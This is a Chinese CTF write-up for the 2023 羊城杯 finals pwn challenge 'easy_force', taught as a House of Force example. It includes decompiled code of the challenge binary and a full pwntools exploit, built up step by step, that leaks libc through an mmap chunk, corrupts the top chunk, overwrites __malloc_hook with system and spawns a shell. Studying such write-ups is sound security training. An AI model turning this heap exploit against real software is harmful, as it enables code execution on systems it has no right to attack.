[羊城杯 2023 决赛]easy_force
(很好的一个学习 House of Force 的例题)

准备

分析

main函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
int n2; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v4; // [rsp+8h] [rbp-8h]

v4 = __readfsqword(0x28u);
sub_4007D6(a1, a2, a3);
puts("This day is schoolday,now teacher ask u to write somethings on the balckbroad");
puts("the teacher will leave some space on the balckbroad");
puts("u only give 4 times to reply");
while ( 1 )
{
while ( 1 )
{
sub_400961();
__isoc99_scanf("%d", &n2);
if ( n2 != 2 )
break;
sub_40093F();
}
if ( n2 > 2 )
{
if ( n2 == 3 )
{
sub_400950();
}
else if ( n2 == 4 )
{
exit(1);
}
}
else if ( n2 == 1 )
{
sub_400819();
}
}
}

先是一个sub_400961(菜单)函数

sub_400961(菜单)函数

1
2
3
4
5
6
7
int sub_400961()
{
puts("1.ask for space");
puts("2.delet what u write");
puts("3.check what u write");
return puts("4.go away");
}

提示语是说有增删查

1-sub_400819(add)函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
unsigned __int64 sub_400819()
{
signed int n4; // [rsp+4h] [rbp-1Ch] BYREF
size_t v2; // [rsp+8h] [rbp-18h] BYREF
void *v3; // [rsp+10h] [rbp-10h]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]

v4 = __readfsqword(0x28u);
puts("which index?");
__isoc99_scanf("%d", &n4);
if ( (unsigned int)n4 > 4 || *(&buf + n4) )
{
puts("already exist!");
exit(1);
}
puts("how much space do u want?");
__isoc99_scanf("%ld", &v2);
size[n4] = v2;
v3 = malloc(size[n4]);
*(&buf + n4) = v3;
puts("now what to write?");
read(0, *(&buf + n4), 0x30uLL);
printf("the balckbroad on %p is in use\n", *(&buf + n4));
return __readfsqword(0x28u) ^ v4;
}

这里限制创建堆块个数为5个,对创建的堆块大小没有限制
并且在最后会输出创建堆块的地址
在下面输入内容处,用read函数,读取输入最大48(0x30)个字节到块中,但当我们给的大小小于输入内容大小时,就会造成溢出

2-sub_40093F(delete)函数

1
2
3
4
int sub_40093F()
{
return puts("once u write, u can't clear it out!");
}

没什么用

3-sub_400950(show)函数

1
2
3
4
int sub_400950()
{
return puts("No! the teacher will check u answer");
}

没什么用

思路

这题虽然限制创建堆块个数,但够用,其他都满足 House of Force 的条件,所以这里有用 House of Force 手法,改 malloc_hooksystem('/bin/sh') (概括思路和知识点看 House of Force 自己整理的学习知识点)
因为创建堆块时会泄露堆块地址,所以可以先使用基于 mmap chunklibc 地址的固定偏移关系的方法去泄露 libc


知识点:
在处理大 chunk 时的行为:
glibcmalloc 对于大于 mmap_threshold 的申请,不使用 heap,而是直接调用 mmap() 向内核申请一块内存。
默认情况下,这个阈值在 128 KB 左右(也可能是更大)
(比如:malloc(0x20000) ➜ 会使用 mmap)

mmap 分配的大 chunk 地址规律:

  • 使用 mmap() 分配的内存块,一般在 libc 映射地址之下;
  • 在默认的内存布局中,mmap() 返回的地址和 libc.so 的加载基址存在一个固定偏移;

利用:

  • 申请一个超大 chunk(触发 mmap
  • 打印这个 chunk 的地址
  • 减去偏移 ➜ 得到 libc base
    这个偏移值是固定的(取决于特定 libc 版本的布局),你只要知道 libc 版本,就可以知道偏移量。

libc.address (在知道 libc 文件时使用)
libc.addresspwntools 里的一个属性,其用途是设置 libc 库在内存中的基地址。一旦这个基地址被设置好,pwntools 就能自动计算出 libc 中各个函数和变量的实际地址。


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
context.log_level = "debug"
# io=remote('node4.anna.nssctf.cn',28579)
io= process('/home/motaly/easy')
elf=ELF('/home/motaly/easy')
libc=ELF('/home/motaly/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')

def add(index,size,content):
io.sendlineafter("4.go away\n", "1")
io.sendlineafter("which index?\n", str(index))
io.sendlineafter("how much space do u want?\n", str(size))
io.sendlineafter("now what to write?\n",content)

add(3, 0x888888, 'aaa')
io.recvuntil("on ")
libc.address= int(io.recv(14),16)
log.success("libc.address :"+hex(libc.address))
#gdb.attach(io)

这里创建的值一定要够大,才会使用 mmap 创建,先获取堆块地址,进行调试,获取堆块地址与libc 的固定偏移

1
2
3
4
add(3, 0x888888, 'aaa')
io.recvuntil("on ")
libc.address= int(io.recv(14),16)+0x888ff0
log.success("libc.address :"+hex(libc.address))


有了 libc 基址后,开始使用 House of Force 手法通过溢出去修改 top chunksize ,同时把 '/bin/sh' 写入 top chunk
(注意:溢出需覆盖到 top chunk 的 size 字段时篡改后的 size 需满足 (size & 1) == 1(即 PREV_INUSE 位为 1),否则 glibc 会认为前一个块空闲,触发合并逻辑,导致利用失败。)

1
2
3
4
5
6
7
8
9
add(3, 0x888888, 'aaa')
io.recvuntil("on ")
libc.address= int(io.recv(14),16)+0x888ff0
log.success("libc.address :"+hex(libc.address))

add(0,0x18,b'a'*0x10+b'/bin/sh\x00'+p64(0xFFFFFFFFFFFFFFFF | 0x1))
io.recvuntil("on ")
top=int(io.recv(10),16)+0x10
log.success("top :"+hex(top))

这里使用 p64(0xFFFFFFFFFFFFFFFF | 0x1) 强制设置PREV_INUSE 标志位
'/bin/sh' 写在 0xFFFFFFFFFFFFFFFF 前,以便后面通过 top chunk 调用 '/bin/sh'

考虑到后面创建堆块的 chunk 头部占用空间,这里填充的偏移量进行减少

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
add(3, 0x888888, 'aaa')
io.recvuntil("on ")
libc.address= int(io.recv(14),16)+0x888ff0
log.success("libc.address :"+hex(libc.address))

add(0,0x18,b'a'*0x10+b'/bin/sh\x00'+p64(0xFFFFFFFFFFFFFFFF | 0x1))
io.recvuntil("on ")
top=int(io.recv(10),16)+0x10
log.success("top :"+hex(top))

malloc_hook=libc.sym['__malloc_hook']
log.success('malloc_hook :'+hex(malloc_hook))
system=libc.sym['system']
log.success('system :'+hex(system))
offset = (malloc_hook-0x20)-top
log.success("offset :"+hex(offset))

0x20的值不是一定的,但其他的值需要具体调试,0x20是刚好后面往 malloc_hook 里面写入 system
此时已经计算了 malloc_hooktop chunk 间的大致距离,我们通过创建距离大小的堆块,使 top chunk 靠近 malloc_hook

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
add(3, 0x888888, 'aaa')
io.recvuntil("on ")
libc.address= int(io.recv(14),16)+0x888ff0
log.success("libc.address :"+hex(libc.address))

add(0,0x18,b'a'*0x10+b'/bin/sh\x00'+p64(0xFFFFFFFFFFFFFFFF | 0x1))
io.recvuntil("on ")
top=int(io.recv(10),16)+0x10
log.success("top :"+hex(top))

malloc_hook=libc.sym['__malloc_hook']
log.success('malloc_hook :'+hex(malloc_hook))
system=libc.sym['system']
log.success('system :'+hex(system))
offset = (malloc_hook-0x20)-top
log.success("offset :"+hex(offset))

add(1,offset,'a')
io.recvuntil("on ")
addr=int(io.recv(10),16)+offset
log.success("addr :"+hex(addr))

addr 就是创建后的 top chunk 地址

这里在创建一个堆块,内容是 system ,前面的 memalign_hookrealloc_hook 用做堆块头,内容输入开始的地方直接是 malloc_hook

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
add(3, 0x888888, 'aaa')
io.recvuntil("on ")
libc.address= int(io.recv(14),16)+0x888ff0
log.success("libc.address :"+hex(libc.address))

add(0,0x18,b'a'*0x10+b'/bin/sh\x00'+p64(0xFFFFFFFFFFFFFFFF | 0x1))
io.recvuntil("on ")
top=int(io.recv(10),16)+0x10
log.success("top :"+hex(top))

malloc_hook=libc.sym['__malloc_hook']
log.success('malloc_hook :'+hex(malloc_hook))
system=libc.sym['system']
log.success('system :'+hex(system))
offset = (malloc_hook-0x20)-top
log.success("offset :"+hex(offset))

add(1,offset,'a')
io.recvuntil("on ")
addr=int(io.recv(10),16)+offset
log.success("addr :"+hex(addr))

add(2,0x10,p64(system))
io.recvuntil("on ")
addr1=int(io.recv(14),16)
log.success("addr1 :"+hex(addr1))


最后创建堆块,size 值给 top chunk 地址,触发 system('/bin/sh')
(size 值原本我们给的是数值,会把这个数值给 rdi,现在给的是 top chunk 地址,给 rdi 的值就是 top chunk 的内容)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
add(3, 0x888888, 'aaa')
io.recvuntil("on ")
libc.address= int(io.recv(14),16)+0x888ff0
log.success("libc.address :"+hex(libc.address))

add(0,0x18,b'a'*0x10+b'/bin/sh\x00'+p64(0xFFFFFFFFFFFFFFFF | 0x1))
io.recvuntil("on ")
top=int(io.recv(10),16)+0x10
log.success("top :"+hex(top))

malloc_hook=libc.sym['__malloc_hook']
log.success('malloc_hook :'+hex(malloc_hook))
system=libc.sym['system']
log.success('system :'+hex(system))
offset = (malloc_hook-0x20)-top
log.success("offset :"+hex(offset))

add(1,offset,'a')
io.recvuntil("on ")
addr=int(io.recv(10),16)+offset
log.success("addr :"+hex(addr))

add(2,0x10,p64(system))
io.recvuntil("on ")
addr1=int(io.recv(14),16)
log.success("addr1 :"+hex(addr1))

io.sendlineafter("4.go away\n", "1")
io.sendlineafter("which index?\n", str(4))
#gdb.attach(io)
io.sendlineafter("how much space do u want?\n", str(top))


脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *
context.log_level = "debug"
# io=remote('node4.anna.nssctf.cn',28579)
io= process('/home/motaly/easy')
elf=ELF('/home/motaly/easy')
libc=ELF('/home/motaly/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')

def add(index,size,content):
io.sendlineafter("4.go away\n", "1")
io.sendlineafter("which index?\n", str(index))
io.sendlineafter("how much space do u want?\n", str(size))
io.sendlineafter("now what to write?\n",content)

add(3, 0x888888, 'aaa')
io.recvuntil("on ")
libc.address= int(io.recv(14),16)+0x888ff0
log.success("libc.address :"+hex(libc.address))

add(0,0x18,b'a'*0x10+b'/bin/sh\x00'+p64(0xFFFFFFFFFFFFFFFF | 0x1))
io.recvuntil("on ")
top=int(io.recv(10),16)+0x10
log.success("top :"+hex(top))

malloc_hook=libc.sym['__malloc_hook']
log.success('malloc_hook :'+hex(malloc_hook))
system=libc.sym['system']
log.success('system :'+hex(system))
offset = (malloc_hook-0x20)-top
log.success("offset :"+hex(offset))

add(1,offset,'a')
io.recvuntil("on ")
addr=int(io.recv(10),16)+offset
log.success("addr :"+hex(addr))

add(2,0x10,p64(system))
io.recvuntil("on ")
addr1=int(io.recv(14),16)
log.success("addr1 :"+hex(addr1))

io.sendlineafter("4.go away\n", "1")
io.sendlineafter("which index?\n", str(4))
io.sendlineafter("how much space do u want?\n", str(top))

io.interactive()